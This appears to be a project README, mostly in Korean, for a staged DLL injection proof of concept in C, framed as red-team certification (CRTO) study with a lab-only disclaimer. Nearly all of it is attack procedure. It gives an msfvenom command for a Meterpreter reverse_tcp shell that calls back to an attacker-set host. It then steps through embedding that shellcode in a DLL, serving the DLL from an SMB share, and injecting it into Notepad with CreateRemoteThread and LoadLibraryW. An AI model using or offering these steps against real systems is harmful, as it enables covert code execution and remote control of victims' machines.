
Win32 API를 사용하여 C로 작성된 단계적 DLL 인젝션 개념 증명 — 레드팀 인증 연구(CRTO)를 위해 격리된 실험실 환경에서 개발됨.
Win32 API를 사용하여 C로 작성된 단계적 DLL 인젝션 개념 증명 — 레드팀 인증 연구(CRTO)를 위해 격리된 연구실 환경에서 개발됨.
⚠️ 면책 조항: 이 프로젝트는 공격 보안 연구 및 인증 연구(CRTO)의 일환으로 교육 목적으로 엄격히 격리된 연구실 환경에서 개발되었습니다. 명시적인 서면 승인 없이 어떤 시스템에도 사용하도록 의도되지 않았습니다. 무단 사용은 불법이며 비윤리적입니다.
Windows에서 단계적 DLL 인젝션의 개념 증명 구현으로, 레드팀 인증 연구의 일부로 구축되었습니다. 이 프로젝트는 스테이저가 기본 Win32 API를 사용하여 원격으로 대상 프로세스에 악성 DLL을 로드하는 방법을 보여줍니다. 내부 네트워크에서 SMB 트래픽을 허용하는 AD 환경에서 가장 잘 작동하며, 인터넷을 통한 사용은 권장되지 않습니다.
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcess를 통해 대상 프로세스에 대한 핸들을 엽니다.VirtualAlloc을 통해 대상 프로세스 내에 메모리를 할당합니다.Kernel32에서 LoadLibraryW의 주소를 검색합니다.CreateRemoteThread를 통해 원격 스레드를 생성하여 LoadLibraryW를 호출하고, 원격 SMB 공유에서 DLL을 로드합니다.maindll.dll)DllMain은 DLL_PROCESS_ATTACH 시 자동으로 실행됩니다.VirtualAlloc을 통해 실행 가능한 메모리를 할당합니다.CreateThread를 통해 실행합니다.phc.exe → 대상 프로세스 열기 → 대상 프로세스에 메모리 할당 → LoadLibraryW를 통해 SMB 공유에서 maindll.dll 로드 → DllMain 실행 → 대상 프로세스 내에서 셸코드 실행
CreateRemoteThread + LoadLibraryW를 통한 원격 DLL 인젝션DllMain을 통한 DLL 엔트리 포인트 악용격리된 연구실 환경의 Windows 10에서 테스트되었습니다. C2 리스너는 Kali Linux에서 호스팅되었습니다.